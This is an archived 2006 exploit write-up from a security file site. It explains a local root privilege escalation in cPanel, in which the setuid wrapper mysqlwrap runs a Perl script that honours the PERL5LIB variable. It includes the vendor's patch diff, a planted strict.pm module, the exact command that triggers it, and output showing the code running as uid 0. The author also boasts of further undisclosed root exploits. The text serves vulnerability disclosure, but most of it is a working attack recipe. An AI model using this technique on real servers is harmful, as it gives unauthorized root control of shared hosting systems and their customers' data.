what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

cpexploit.txt

cpexploit.txt
Posted Oct 4, 2006
Authored by cp haquer

Details on exploiting the cPanel mysqladmin vulnerability which was used to circulate an IE exploit.

tags | exploit
SHA-256 | c936a8416885868de496e4242b7ed10a9d7f6e0be834330ccf44c86eff3e1eb7

cpexploit.txt

Change Mirror Download
All cPanel versions which were released before August 23rd are vulnerable to a local root exploit.  Exact version numbers are unclear.  Doing a "ls -l /usr/local/cpanel/version" is a good way to determine the last time cPanel was updated.

This exploit made the news when it was used to circulate an IE exploit:
http://it.slashdot.org/article.pl?sid=06/09/23/2218254

It was pretty easy to figure out how the exploit worked once you saw their first attempt at fixing it.

--- /usr/local/cpanel/bin/mysqladmin 2006-08-29 16:54:07.000000000 -0500
+++ httpupdate.cpanel.net/cpanelsync/EDGE/bin/mysqladmin 2006-09-23 23:51:20.000000000 -0500
@@ -5,9 +5,14 @@
# This code is subject to the cpanel license. Unauthorized copying is prohibited

BEGIN {
- push( @INC, "/usr/local/cpanel" );
+ unshift( @INC, "/usr/local/cpanel" );
+ @INC=grep(!/^\./,@INC);
+ @INC=grep(/^(\/usr\/lib\/perl|\/usr\/local\/lib\/perl|\/usr\/local\/cpanel)/,@INC);
+
}

So obviously the exploit involves inserting things into @INC when this script is ran as root. So, how is this script ran as root?

lrwxrwxrwx 1 root root /usr/local/cpanel/bin/mysqlwrap -> cpwrap*
-rwsr-xr-x 1 root wheel /usr/local/cpanel/bin/cpwrap*

Through the setuid program mysqlwrap of course! So the only quesiton is how to insert things into @INC. There are 2 ways that I could find, a command line argument to perl, or the PERL5LIB environment variable. Obviously, the PERL5LIB environment variable seems like a good bet.


domainc@domain.com [~]# cat ~/OMGWTFLOL/strict.pm
die("my id is $<\n");
domainc@domain.com [~]# PERL5LIB=/home/domainc/OMGWTFLOL /usr/local/cpanel/bin/mysqlwrap ADDDB
<b>Database Created</b><br>
Added the database .
my id is 0
Compilation failed in require at /usr/local/cpanel/Cpanel/Version.pm line 8.
BEGIN failed--compilation aborted at /usr/local/cpanel/Cpanel/Version.pm line 8.Compilation failed in require at /usr/local/cpanel/bin/mysqladmin line 11.
BEGIN failed--compilation aborted at /usr/local/cpanel/bin/mysqladmin line 11.



Smart readers will realize that the above patch is a pretty stupid attempt at stopping the exploit. Several hosting companies with hacked servers had to intervene to make sure cPanel fixed it correctly. In new verisons of cPanel, cpwrap now appears to clean out environment variables before executing things. But don't worry, there are several local root exploits all over cPanel waiting to be discovered. I have discovered 2 more on the same day that I discovered how this one works.
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close